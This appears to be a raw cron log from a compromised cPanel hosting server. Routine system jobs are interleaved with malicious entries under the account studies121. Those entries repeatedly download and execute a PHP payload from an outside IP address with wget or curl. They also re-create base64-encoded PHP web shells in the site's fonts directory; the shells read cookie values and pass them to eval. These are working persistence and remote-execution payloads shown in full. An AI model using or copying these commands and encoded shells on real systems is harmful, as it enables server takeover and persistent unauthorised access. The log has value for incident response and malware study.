Sep 13 02:16:01 ip-184-168-122-23 CROND[30241]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:16:01 ip-184-168-122-23 CROND[30242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:16:01 ip-184-168-122-23 CROND[30243]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 02:16:01 ip-184-168-122-23 CROND[30246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:16:01 ip-184-168-122-23 CROND[30245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:17:01 ip-184-168-122-23 CROND[30438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:17:01 ip-184-168-122-23 CROND[30441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:17:01 ip-184-168-122-23 CROND[30442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:17:01 ip-184-168-122-23 CROND[30440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:18:01 ip-184-168-122-23 CROND[30537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:18:01 ip-184-168-122-23 CROND[30538]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep 13 02:18:01 ip-184-168-122-23 CROND[30540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:18:01 ip-184-168-122-23 CROND[30541]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:18:01 ip-184-168-122-23 CROND[30543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:18:01 ip-184-168-122-23 CROND[30544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:19:01 ip-184-168-122-23 CROND[30634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:19:01 ip-184-168-122-23 CROND[30638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:19:01 ip-184-168-122-23 CROND[30637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:19:01 ip-184-168-122-23 CROND[30636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:20:01 ip-184-168-122-23 CROND[30738]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 02:20:01 ip-184-168-122-23 CROND[30739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:20:01 ip-184-168-122-23 CROND[30743]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 02:20:01 ip-184-168-122-23 CROND[30745]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:20:01 ip-184-168-122-23 CROND[30748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:20:01 ip-184-168-122-23 CROND[30750]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:20:01 ip-184-168-122-23 CROND[30747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:20:01 ip-184-168-122-23 CROND[30746]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:20:01 ip-184-168-122-23 CROND[30751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:21:01 ip-184-168-122-23 CROND[30849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:21:01 ip-184-168-122-23 CROND[30852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:21:01 ip-184-168-122-23 CROND[30851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:21:01 ip-184-168-122-23 CROND[30853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:22:01 ip-184-168-122-23 CROND[31013]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:22:01 ip-184-168-122-23 CROND[31016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:22:01 ip-184-168-122-23 CROND[31015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:22:01 ip-184-168-122-23 CROND[31018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:22:01 ip-184-168-122-23 CROND[31017]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:23:01 ip-184-168-122-23 CROND[31103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:23:01 ip-184-168-122-23 CROND[31105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:23:01 ip-184-168-122-23 CROND[31106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:23:01 ip-184-168-122-23 CROND[31107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:24:01 ip-184-168-122-23 CROND[31207]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:24:01 ip-184-168-122-23 CROND[31209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:24:01 ip-184-168-122-23 CROND[31210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:24:01 ip-184-168-122-23 CROND[31212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:24:01 ip-184-168-122-23 CROND[31211]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep 13 02:24:01 ip-184-168-122-23 CROND[31213]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:25:01 ip-184-168-122-23 CROND[31318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:25:01 ip-184-168-122-23 CROND[31319]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:25:01 ip-184-168-122-23 CROND[31322]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:25:01 ip-184-168-122-23 CROND[31324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:25:01 ip-184-168-122-23 CROND[31321]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 13 02:25:01 ip-184-168-122-23 CROND[31325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:25:01 ip-184-168-122-23 CROND[31327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:26:01 ip-184-168-122-23 CROND[31438]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 13 02:26:01 ip-184-168-122-23 CROND[31439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:26:01 ip-184-168-122-23 CROND[31442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:26:01 ip-184-168-122-23 CROND[31444]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:26:01 ip-184-168-122-23 CROND[31446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:26:01 ip-184-168-122-23 CROND[31445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 13 02:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 13 02:27:01 ip-184-168-122-23 CROND[31803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:27:01 ip-184-168-122-23 CROND[31804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:27:01 ip-184-168-122-23 CROND[31805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:27:01 ip-184-168-122-23 CROND[31806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:28:01 ip-184-168-122-23 CROND[31901]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:28:01 ip-184-168-122-23 CROND[31902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
